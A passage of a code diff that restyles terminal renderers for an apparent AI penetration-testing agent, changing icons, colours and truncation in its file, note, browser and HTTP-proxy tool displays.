|
remaining = func_body[complete_end_pos:]
|
||||||
incomplete_pattern = r"<parameter=([^>]+)>(.*)$"
|
incomplete_match = _INCOMPLETE_PARAM_PATTERN.search(remaining)
|
||||||
incomplete_match = re.search(incomplete_pattern, remaining, re.DOTALL)
|
|
||||||
if incomplete_match:
|
if incomplete_match:
|
||||||
param_name = incomplete_match.group(1)
|
param_name = incomplete_match.group(1)
|
||||||
param_value = html.unescape(incomplete_match.group(2).strip())
|
param_value = html.unescape(incomplete_match.group(2).strip())
|
||||||
|
|||||||
@@ -92,12 +92,13 @@ class AgentFinishRenderer(BaseToolRenderer):
|
|||||||
success = args.get("success", True)
|
success = args.get("success", True)
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("🏁 ")
|
|
||||||
|
|
||||||
if success:
|
if success:
|
||||||
text.append("Agent completed", style="bold #fbbf24")
|
text.append("◆ ", style="#22c55e")
|
||||||
|
text.append("Agent completed", style="bold #22c55e")
|
||||||
else:
|
else:
|
||||||
text.append("Agent failed", style="bold #fbbf24")
|
text.append("◆ ", style="#ef4444")
|
||||||
|
text.append("Agent failed", style="bold #ef4444")
|
||||||
|
|
||||||
if result_summary:
|
if result_summary:
|
||||||
text.append("\n ")
|
text.append("\n ")
|
||||||
|
|||||||
@@ -64,7 +64,7 @@ class BrowserRenderer(BaseToolRenderer):
|
|||||||
args = tool_data.get("args", {})
|
args = tool_data.get("args", {})
|
||||||
status = tool_data.get("status", "unknown")
|
status = tool_data.get("status", "unknown")
|
||||||
|
|
||||||
action = args.get("action", "unknown")
|
action = args.get("action", "")
|
||||||
content = cls._build_content(action, args)
|
content = cls._build_content(action, args)
|
||||||
|
|
||||||
css_classes = cls.get_css_classes(status)
|
css_classes = cls.get_css_classes(status)
|
||||||
@@ -131,5 +131,6 @@ class BrowserRenderer(BaseToolRenderer):
|
|||||||
text.append_text(cls._highlight_js(js_code))
|
text.append_text(cls._highlight_js(js_code))
|
||||||
return text
|
return text
|
||||||
|
|
||||||
text.append(action, style="#06b6d4")
|
if action:
|
||||||
|
text.append(action, style="#06b6d4")
|
||||||
return text
|
return text
|
||||||
|
|||||||
@@ -65,16 +65,16 @@ class StrReplaceEditorRenderer(BaseToolRenderer):
|
|||||||
text = Text()
|
text = Text()
|
||||||
|
|
||||||
icons_and_labels = {
|
icons_and_labels = {
|
||||||
"view": ("📖 ", "Reading file", "#10b981"),
|
"view": ("◇ ", "read", "#10b981"),
|
||||||
"str_replace": ("✏️ ", "Editing file", "#10b981"),
|
"str_replace": ("◇ ", "edit", "#10b981"),
|
||||||
"create": ("📝 ", "Creating file", "#10b981"),
|
"create": ("◇ ", "create", "#10b981"),
|
||||||
"insert": ("✏️ ", "Inserting text", "#10b981"),
|
"insert": ("◇ ", "insert", "#10b981"),
|
||||||
"undo_edit": ("↩️ ", "Undoing edit", "#10b981"),
|
"undo_edit": ("◇ ", "undo", "#10b981"),
|
||||||
}
|
}
|
||||||
|
|
||||||
icon, label, color = icons_and_labels.get(command, ("📄 ", "File operation", "#10b981"))
|
icon, label, color = icons_and_labels.get(command, ("◇ ", "file", "#10b981"))
|
||||||
text.append(icon)
|
text.append(icon, style=color)
|
||||||
text.append(label, style=f"bold {color}")
|
text.append(label, style="dim")
|
||||||
|
|
||||||
if path:
|
if path:
|
||||||
path_display = path[-60:] if len(path) > 60 else path
|
path_display = path[-60:] if len(path) > 60 else path
|
||||||
@@ -132,8 +132,8 @@ class ListFilesRenderer(BaseToolRenderer):
|
|||||||
path = args.get("path", "")
|
path = args.get("path", "")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📂 ")
|
text.append("◇ ", style="#10b981")
|
||||||
text.append("Listing files", style="bold #10b981")
|
text.append("list", style="dim")
|
||||||
text.append(" ")
|
text.append(" ")
|
||||||
|
|
||||||
if path:
|
if path:
|
||||||
@@ -158,23 +158,20 @@ class SearchFilesRenderer(BaseToolRenderer):
|
|||||||
regex = args.get("regex", "")
|
regex = args.get("regex", "")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("🔍 ")
|
text.append("◇ ", style="#a855f7")
|
||||||
text.append("Searching files", style="bold purple")
|
text.append("search", style="dim")
|
||||||
text.append(" ")
|
text.append(" ")
|
||||||
|
|
||||||
if path and regex:
|
if path and regex:
|
||||||
text.append(path, style="dim")
|
text.append(path, style="dim")
|
||||||
text.append(" for '", style="dim")
|
text.append(" ", style="dim")
|
||||||
text.append(regex, style="dim")
|
text.append(regex, style="#a855f7")
|
||||||
text.append("'", style="dim")
|
|
||||||
elif path:
|
elif path:
|
||||||
text.append(path, style="dim")
|
text.append(path, style="dim")
|
||||||
elif regex:
|
elif regex:
|
||||||
text.append("'", style="dim")
|
text.append(regex, style="#a855f7")
|
||||||
text.append(regex, style="dim")
|
|
||||||
text.append("'", style="dim")
|
|
||||||
else:
|
else:
|
||||||
text.append("Searching...", style="dim")
|
text.append("...", style="dim")
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
css_classes = cls.get_css_classes("completed")
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
from typing import Any, ClassVar
|
from typing import Any, ClassVar
|
||||||
|
|
||||||
from rich.padding import Padding
|
|
||||||
from rich.text import Text
|
from rich.text import Text
|
||||||
from textual.widgets import Static
|
from textual.widgets import Static
|
||||||
|
|
||||||
@@ -9,7 +8,6 @@ from .registry import register_tool_renderer
|
|||||||
|
|
||||||
|
|
||||||
FIELD_STYLE = "bold #4ade80"
|
FIELD_STYLE = "bold #4ade80"
|
||||||
BG_COLOR = "#141414"
|
|
||||||
|
|
||||||
|
|
||||||
@register_tool_renderer
|
@register_tool_renderer
|
||||||
@@ -27,8 +25,8 @@ class FinishScanRenderer(BaseToolRenderer):
|
|||||||
recommendations = args.get("recommendations", "")
|
recommendations = args.get("recommendations", "")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("🏁 ")
|
text.append("◆ ", style="#22c55e")
|
||||||
text.append("Finishing Scan", style="bold #dc2626")
|
text.append("Penetration test completed", style="bold #22c55e")
|
||||||
|
|
||||||
if executive_summary:
|
if executive_summary:
|
||||||
text.append("\n\n")
|
text.append("\n\n")
|
||||||
@@ -58,7 +56,10 @@ class FinishScanRenderer(BaseToolRenderer):
|
|||||||
text.append("\n ")
|
text.append("\n ")
|
||||||
text.append("Generating final report...", style="dim")
|
text.append("Generating final report...", style="dim")
|
||||||
|
|
||||||
padded = Padding(text, 2, style=f"on {BG_COLOR}")
|
padded = Text()
|
||||||
|
padded.append("\n\n")
|
||||||
|
padded.append_text(text)
|
||||||
|
padded.append("\n\n")
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
css_classes = cls.get_css_classes("completed")
|
||||||
return Static(padded, classes=css_classes)
|
return Static(padded, classes=css_classes)
|
||||||
|
|||||||
@@ -21,8 +21,8 @@ class CreateNoteRenderer(BaseToolRenderer):
|
|||||||
category = args.get("category", "general")
|
category = args.get("category", "general")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📝 ")
|
text.append("◇ ", style="#fbbf24")
|
||||||
text.append("Note", style="bold #fbbf24")
|
text.append("note", style="dim")
|
||||||
text.append(" ")
|
text.append(" ")
|
||||||
text.append(f"({category})", style="dim")
|
text.append(f"({category})", style="dim")
|
||||||
|
|
||||||
@@ -50,8 +50,8 @@ class DeleteNoteRenderer(BaseToolRenderer):
|
|||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📝 ")
|
text.append("◇ ", style="#fbbf24")
|
||||||
text.append("Note Removed", style="bold #94a3b8")
|
text.append("note removed", style="dim")
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
css_classes = cls.get_css_classes("completed")
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
@@ -70,8 +70,8 @@ class UpdateNoteRenderer(BaseToolRenderer):
|
|||||||
content = args.get("content")
|
content = args.get("content")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📝 ")
|
text.append("◇ ", style="#fbbf24")
|
||||||
text.append("Note Updated", style="bold #fbbf24")
|
text.append("note updated", style="dim")
|
||||||
|
|
||||||
if title:
|
if title:
|
||||||
text.append("\n ")
|
text.append("\n ")
|
||||||
@@ -99,8 +99,8 @@ class ListNotesRenderer(BaseToolRenderer):
|
|||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📝 ")
|
text.append("◇ ", style="#fbbf24")
|
||||||
text.append("Notes", style="bold #fbbf24")
|
text.append("notes", style="dim")
|
||||||
|
|
||||||
if isinstance(result, str) and result.strip():
|
if isinstance(result, str) and result.strip():
|
||||||
text.append("\n ")
|
text.append("\n ")
|
||||||
|
|||||||
@@ -7,53 +7,105 @@ from .base_renderer import BaseToolRenderer
|
|||||||
from .registry import register_tool_renderer
|
from .registry import register_tool_renderer
|
||||||
|
|
||||||
|
|
||||||
|
PROXY_ICON = "<~>"
|
||||||
|
MAX_REQUESTS_DISPLAY = 20
|
||||||
|
MAX_LINE_LENGTH = 200
|
||||||
|
|
||||||
|
|
||||||
|
def _truncate(text: str, max_len: int = 80) -> str:
|
||||||
|
return text[: max_len - 3] + "..." if len(text) > max_len else text
|
||||||
|
|
||||||
|
|
||||||
|
def _sanitize(text: str, max_len: int = 150) -> str:
|
||||||
|
"""Remove newlines and truncate text."""
|
||||||
|
clean = text.replace("\n", " ").replace("\r", "").replace("\t", " ")
|
||||||
|
return _truncate(clean, max_len)
|
||||||
|
|
||||||
|
|
||||||
|
def _status_style(code: int | None) -> str:
|
||||||
|
if code is None:
|
||||||
|
return "dim"
|
||||||
|
if 200 <= code < 300:
|
||||||
|
return "#22c55e" # green
|
||||||
|
if 300 <= code < 400:
|
||||||
|
return "#eab308" # yellow
|
||||||
|
if 400 <= code < 500:
|
||||||
|
return "#f97316" # orange
|
||||||
|
if code >= 500:
|
||||||
|
return "#ef4444" # red
|
||||||
|
return "dim"
|
||||||
|
|
||||||
|
|
||||||
@register_tool_renderer
|
@register_tool_renderer
|
||||||
class ListRequestsRenderer(BaseToolRenderer):
|
class ListRequestsRenderer(BaseToolRenderer):
|
||||||
tool_name: ClassVar[str] = "list_requests"
|
tool_name: ClassVar[str] = "list_requests"
|
||||||
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912 # noqa: PLR0912
|
||||||
args = tool_data.get("args", {})
|
args = tool_data.get("args", {})
|
||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
status = tool_data.get("status", "running")
|
||||||
|
|
||||||
httpql_filter = args.get("httpql_filter")
|
httpql_filter = args.get("httpql_filter")
|
||||||
|
sort_by = args.get("sort_by")
|
||||||
|
sort_order = args.get("sort_order")
|
||||||
|
scope_id = args.get("scope_id")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📋 ")
|
text.append(PROXY_ICON, style="dim")
|
||||||
text.append("Listing requests", style="bold #06b6d4")
|
text.append(" listing requests", style="#06b6d4")
|
||||||
|
|
||||||
if isinstance(result, str) and result.strip():
|
if httpql_filter:
|
||||||
text.append("\n ")
|
text.append(f" where {_truncate(httpql_filter, 150)}", style="dim italic")
|
||||||
text.append(result.strip(), style="dim")
|
|
||||||
elif result and isinstance(result, dict) and "requests" in result:
|
meta_parts = []
|
||||||
requests = result["requests"]
|
if sort_by and sort_by != "timestamp":
|
||||||
if isinstance(requests, list) and requests:
|
meta_parts.append(f"by:{sort_by}")
|
||||||
for req in requests[:25]:
|
if sort_order and sort_order != "desc":
|
||||||
if isinstance(req, dict):
|
meta_parts.append(sort_order)
|
||||||
method = req.get("method", "?")
|
if scope_id and isinstance(scope_id, str):
|
||||||
path = req.get("path", "?")
|
meta_parts.append(f"scope:{scope_id[:8]}")
|
||||||
response = req.get("response") or {}
|
if meta_parts:
|
||||||
status = response.get("statusCode", "?")
|
text.append(f" ({', '.join(meta_parts)})", style="dim")
|
||||||
text.append("\n ")
|
|
||||||
text.append(f"{method} {path} → {status}", style="dim")
|
if status == "completed" and isinstance(result, dict):
|
||||||
if len(requests) > 25:
|
if "error" in result:
|
||||||
text.append("\n ")
|
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
|
||||||
text.append(f"... +{len(requests) - 25} more", style="dim")
|
|
||||||
else:
|
else:
|
||||||
text.append("\n ")
|
total = result.get("total_count", 0)
|
||||||
text.append("No requests found", style="dim")
|
requests = result.get("requests", [])
|
||||||
elif httpql_filter:
|
|
||||||
filter_display = (
|
|
||||||
httpql_filter[:500] + "..." if len(httpql_filter) > 500 else httpql_filter
|
|
||||||
)
|
|
||||||
text.append("\n ")
|
|
||||||
text.append(filter_display, style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("All requests", style="dim")
|
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
text.append(f" [{total} found]", style="dim")
|
||||||
|
|
||||||
|
if requests and isinstance(requests, list):
|
||||||
|
text.append("\n")
|
||||||
|
for i, req in enumerate(requests[:MAX_REQUESTS_DISPLAY]):
|
||||||
|
if not isinstance(req, dict):
|
||||||
|
continue
|
||||||
|
method = req.get("method", "?")
|
||||||
|
host = req.get("host", "")
|
||||||
|
path = req.get("path", "/")
|
||||||
|
resp = req.get("response") or {}
|
||||||
|
code = resp.get("statusCode") if isinstance(resp, dict) else None
|
||||||
|
|
||||||
|
text.append(" ")
|
||||||
|
text.append(f"{method:6}", style="#a78bfa")
|
||||||
|
text.append(f" {_truncate(host + path, 180)}", style="dim")
|
||||||
|
if code:
|
||||||
|
text.append(f" {code}", style=_status_style(code))
|
||||||
|
|
||||||
|
if i < min(len(requests), MAX_REQUESTS_DISPLAY) - 1:
|
||||||
|
text.append("\n")
|
||||||
|
|
||||||
|
if len(requests) > MAX_REQUESTS_DISPLAY:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(
|
||||||
|
f" ... +{len(requests) - MAX_REQUESTS_DISPLAY} more",
|
||||||
|
style="dim italic",
|
||||||
|
)
|
||||||
|
|
||||||
|
css_classes = cls.get_css_classes(status)
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|
||||||
|
|
||||||
@@ -63,46 +115,83 @@ class ViewRequestRenderer(BaseToolRenderer):
|
|||||||
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
|
||||||
args = tool_data.get("args", {})
|
args = tool_data.get("args", {})
|
||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
status = tool_data.get("status", "running")
|
||||||
|
|
||||||
|
request_id = args.get("request_id", "")
|
||||||
part = args.get("part", "request")
|
part = args.get("part", "request")
|
||||||
|
search_pattern = args.get("search_pattern")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("👀 ")
|
text.append(PROXY_ICON, style="dim")
|
||||||
text.append(f"Viewing {part}", style="bold #06b6d4")
|
|
||||||
|
|
||||||
if isinstance(result, str) and result.strip():
|
action = "searching" if search_pattern else "viewing"
|
||||||
text.append("\n ")
|
text.append(f" {action} {part}", style="#06b6d4")
|
||||||
text.append(result.strip(), style="dim")
|
|
||||||
elif result and isinstance(result, dict):
|
if request_id:
|
||||||
if "content" in result:
|
text.append(f" #{request_id}", style="dim")
|
||||||
content = result["content"]
|
|
||||||
content_preview = content[:2000] + "..." if len(content) > 2000 else content
|
if search_pattern:
|
||||||
text.append("\n ")
|
text.append(f" /{_truncate(search_pattern, 100)}/", style="dim italic")
|
||||||
text.append(content_preview, style="dim")
|
|
||||||
|
if status == "completed" and isinstance(result, dict):
|
||||||
|
if "error" in result:
|
||||||
|
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
|
||||||
elif "matches" in result:
|
elif "matches" in result:
|
||||||
matches = result["matches"]
|
matches = result.get("matches", [])
|
||||||
if isinstance(matches, list) and matches:
|
total = result.get("total_matches", len(matches))
|
||||||
for match in matches[:25]:
|
text.append(f" [{total} matches]", style="dim")
|
||||||
if isinstance(match, dict) and "match" in match:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append(match["match"], style="dim")
|
|
||||||
if len(matches) > 25:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append(f"... +{len(matches) - 25} more matches", style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("No matches found", style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("Viewing content...", style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("Loading...", style="dim")
|
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
if matches and isinstance(matches, list):
|
||||||
|
text.append("\n")
|
||||||
|
for i, m in enumerate(matches[:5]):
|
||||||
|
if not isinstance(m, dict):
|
||||||
|
continue
|
||||||
|
before = m.get("before", "") or ""
|
||||||
|
match_text = m.get("match", "") or ""
|
||||||
|
after = m.get("after", "") or ""
|
||||||
|
|
||||||
|
before = before.replace("\n", " ").replace("\r", "")[-100:]
|
||||||
|
after = after.replace("\n", " ").replace("\r", "")[:100]
|
||||||
|
|
||||||
|
text.append(" ")
|
||||||
|
|
||||||
|
if before:
|
||||||
|
text.append(f"...{before}", style="dim")
|
||||||
|
text.append(match_text, style="#22c55e bold")
|
||||||
|
if after:
|
||||||
|
text.append(f"{after}...", style="dim")
|
||||||
|
|
||||||
|
if i < min(len(matches), 5) - 1:
|
||||||
|
text.append("\n")
|
||||||
|
|
||||||
|
if len(matches) > 5:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(f" ... +{len(matches) - 5} more matches", style="dim italic")
|
||||||
|
|
||||||
|
elif "content" in result:
|
||||||
|
showing = result.get("showing_lines", "")
|
||||||
|
has_more = result.get("has_more", False)
|
||||||
|
content = result.get("content", "")
|
||||||
|
|
||||||
|
text.append(f" [{showing}]", style="dim")
|
||||||
|
|
||||||
|
if content and isinstance(content, str):
|
||||||
|
lines = content.split("\n")[:15]
|
||||||
|
text.append("\n")
|
||||||
|
for i, line in enumerate(lines):
|
||||||
|
text.append(" ")
|
||||||
|
text.append(_truncate(line, MAX_LINE_LENGTH), style="dim")
|
||||||
|
if i < len(lines) - 1:
|
||||||
|
text.append("\n")
|
||||||
|
|
||||||
|
if has_more or len(lines) > 15:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" ... more content available", style="dim italic")
|
||||||
|
|
||||||
|
css_classes = cls.get_css_classes(status)
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|
||||||
|
|
||||||
@@ -112,45 +201,71 @@ class SendRequestRenderer(BaseToolRenderer):
|
|||||||
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
|
||||||
args = tool_data.get("args", {})
|
args = tool_data.get("args", {})
|
||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
status = tool_data.get("status", "running")
|
||||||
|
|
||||||
method = args.get("method", "GET")
|
method = args.get("method", "GET")
|
||||||
url = args.get("url", "")
|
url = args.get("url", "")
|
||||||
|
req_headers = args.get("headers")
|
||||||
|
req_body = args.get("body", "")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📤 ")
|
text.append(PROXY_ICON, style="dim")
|
||||||
text.append(f"Sending {method}", style="bold #06b6d4")
|
text.append(" sending request", style="#06b6d4")
|
||||||
|
|
||||||
if isinstance(result, str) and result.strip():
|
text.append("\n")
|
||||||
text.append("\n ")
|
text.append(" >> ", style="#3b82f6")
|
||||||
text.append(result.strip(), style="dim")
|
text.append(method, style="#a78bfa")
|
||||||
elif result and isinstance(result, dict):
|
text.append(f" {_truncate(url, 180)}", style="dim")
|
||||||
status_code = result.get("status_code")
|
|
||||||
response_body = result.get("body", "")
|
|
||||||
|
|
||||||
if status_code:
|
if req_headers and isinstance(req_headers, dict):
|
||||||
text.append("\n ")
|
for k, v in list(req_headers.items())[:5]:
|
||||||
text.append(f"Status: {status_code}", style="dim")
|
text.append("\n")
|
||||||
if response_body:
|
text.append(" >> ", style="#3b82f6")
|
||||||
body_preview = (
|
text.append(f"{k}: ", style="dim")
|
||||||
response_body[:2000] + "..." if len(response_body) > 2000 else response_body
|
text.append(_sanitize(str(v), 150), style="dim")
|
||||||
)
|
|
||||||
text.append("\n ")
|
if req_body and isinstance(req_body, str):
|
||||||
text.append(body_preview, style="dim")
|
text.append("\n")
|
||||||
|
text.append(" >> ", style="#3b82f6")
|
||||||
|
body_lines = req_body.split("\n")[:4]
|
||||||
|
for i, line in enumerate(body_lines):
|
||||||
|
if i > 0:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" ", style="dim")
|
||||||
|
text.append(_truncate(line, MAX_LINE_LENGTH), style="dim")
|
||||||
|
if len(req_body.split("\n")) > 4:
|
||||||
|
text.append(" ...", style="dim italic")
|
||||||
|
|
||||||
|
if status == "completed" and isinstance(result, dict):
|
||||||
|
if "error" in result:
|
||||||
|
text.append(f"\n error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
|
||||||
else:
|
else:
|
||||||
text.append("\n ")
|
code = result.get("status_code")
|
||||||
text.append("Response received", style="dim")
|
time_ms = result.get("response_time_ms")
|
||||||
elif url:
|
|
||||||
url_display = url[:500] + "..." if len(url) > 500 else url
|
|
||||||
text.append("\n ")
|
|
||||||
text.append(url_display, style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("Sending...", style="dim")
|
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
text.append("\n")
|
||||||
|
text.append(" << ", style="#22c55e")
|
||||||
|
if code:
|
||||||
|
text.append(f"{code}", style=_status_style(code))
|
||||||
|
if time_ms:
|
||||||
|
text.append(f" ({time_ms}ms)", style="dim")
|
||||||
|
|
||||||
|
body = result.get("body", "")
|
||||||
|
if body and isinstance(body, str):
|
||||||
|
lines = body.split("\n")[:6]
|
||||||
|
for line in lines:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" << ", style="#22c55e")
|
||||||
|
text.append(_truncate(line, MAX_LINE_LENGTH - 5), style="dim")
|
||||||
|
|
||||||
|
if len(body.split("\n")) > 6:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" ...", style="dim italic")
|
||||||
|
|
||||||
|
css_classes = cls.get_css_classes(status)
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|
||||||
|
|
||||||
@@ -160,45 +275,99 @@ class RepeatRequestRenderer(BaseToolRenderer):
|
|||||||
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
|
||||||
args = tool_data.get("args", {})
|
args = tool_data.get("args", {})
|
||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
status = tool_data.get("status", "running")
|
||||||
|
|
||||||
modifications = args.get("modifications", {})
|
request_id = args.get("request_id", "")
|
||||||
|
modifications = args.get("modifications")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("🔄 ")
|
text.append(PROXY_ICON, style="dim")
|
||||||
text.append("Repeating request", style="bold #06b6d4")
|
text.append(" repeating request", style="#06b6d4")
|
||||||
|
|
||||||
if isinstance(result, str) and result.strip():
|
if request_id:
|
||||||
text.append("\n ")
|
text.append(f" #{request_id}", style="dim")
|
||||||
text.append(result.strip(), style="dim")
|
|
||||||
elif result and isinstance(result, dict):
|
|
||||||
status_code = result.get("status_code")
|
|
||||||
response_body = result.get("body", "")
|
|
||||||
|
|
||||||
if status_code:
|
if modifications and isinstance(modifications, dict):
|
||||||
text.append("\n ")
|
text.append("\n modifications:", style="dim italic")
|
||||||
text.append(f"Status: {status_code}", style="dim")
|
|
||||||
if response_body:
|
if "url" in modifications:
|
||||||
body_preview = (
|
text.append("\n")
|
||||||
response_body[:2000] + "..." if len(response_body) > 2000 else response_body
|
text.append(" >> ", style="#3b82f6")
|
||||||
)
|
text.append(f"url: {_truncate(str(modifications['url']), 180)}", style="dim")
|
||||||
text.append("\n ")
|
|
||||||
text.append(body_preview, style="dim")
|
if "headers" in modifications and isinstance(modifications["headers"], dict):
|
||||||
|
for k, v in list(modifications["headers"].items())[:5]:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" >> ", style="#3b82f6")
|
||||||
|
text.append(f"{k}: {_sanitize(str(v), 150)}", style="dim")
|
||||||
|
|
||||||
|
if "cookies" in modifications and isinstance(modifications["cookies"], dict):
|
||||||
|
for k, v in list(modifications["cookies"].items())[:5]:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" >> ", style="#3b82f6")
|
||||||
|
text.append(f"cookie {k}={_sanitize(str(v), 100)}", style="dim")
|
||||||
|
|
||||||
|
if "params" in modifications and isinstance(modifications["params"], dict):
|
||||||
|
for k, v in list(modifications["params"].items())[:5]:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" >> ", style="#3b82f6")
|
||||||
|
text.append(f"param {k}={_sanitize(str(v), 100)}", style="dim")
|
||||||
|
|
||||||
|
if "body" in modifications and isinstance(modifications["body"], str):
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" >> ", style="#3b82f6")
|
||||||
|
body_lines = modifications["body"].split("\n")[:4]
|
||||||
|
for i, line in enumerate(body_lines):
|
||||||
|
if i > 0:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" ", style="dim")
|
||||||
|
text.append(_truncate(line, MAX_LINE_LENGTH), style="dim")
|
||||||
|
if len(modifications["body"].split("\n")) > 4:
|
||||||
|
text.append(" ...", style="dim italic")
|
||||||
|
|
||||||
|
elif modifications and isinstance(modifications, str):
|
||||||
|
text.append(f"\n {_truncate(modifications, 200)}", style="dim italic")
|
||||||
|
|
||||||
|
if status == "completed" and isinstance(result, dict):
|
||||||
|
if "error" in result:
|
||||||
|
text.append(f"\n error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
|
||||||
else:
|
else:
|
||||||
text.append("\n ")
|
req = result.get("request", {})
|
||||||
text.append("Response received", style="dim")
|
method = req.get("method", "")
|
||||||
elif modifications:
|
url = req.get("url", "")
|
||||||
mod_str = str(modifications)
|
code = result.get("status_code")
|
||||||
mod_display = mod_str[:500] + "..." if len(mod_str) > 500 else mod_str
|
time_ms = result.get("response_time_ms")
|
||||||
text.append("\n ")
|
|
||||||
text.append(mod_display, style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("No modifications", style="dim")
|
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
text.append("\n")
|
||||||
|
text.append(" >> ", style="#3b82f6")
|
||||||
|
if method:
|
||||||
|
text.append(f"{method} ", style="#a78bfa")
|
||||||
|
if url:
|
||||||
|
text.append(_truncate(url, 180), style="dim")
|
||||||
|
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" << ", style="#22c55e")
|
||||||
|
if code:
|
||||||
|
text.append(f"{code}", style=_status_style(code))
|
||||||
|
if time_ms:
|
||||||
|
text.append(f" ({time_ms}ms)", style="dim")
|
||||||
|
|
||||||
|
body = result.get("body", "")
|
||||||
|
if body and isinstance(body, str):
|
||||||
|
lines = body.split("\n")[:5]
|
||||||
|
for line in lines:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" << ", style="#22c55e")
|
||||||
|
text.append(_truncate(line, MAX_LINE_LENGTH - 5), style="dim")
|
||||||
|
|
||||||
|
if len(body.split("\n")) > 5:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(" ...", style="dim italic")
|
||||||
|
|
||||||
|
css_classes = cls.get_css_classes(status)
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|
||||||
|
|
||||||
@@ -208,14 +377,87 @@ class ScopeRulesRenderer(BaseToolRenderer):
|
|||||||
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
|
||||||
text = Text()
|
args = tool_data.get("args", {})
|
||||||
text.append("⚙️ ")
|
result = tool_data.get("result")
|
||||||
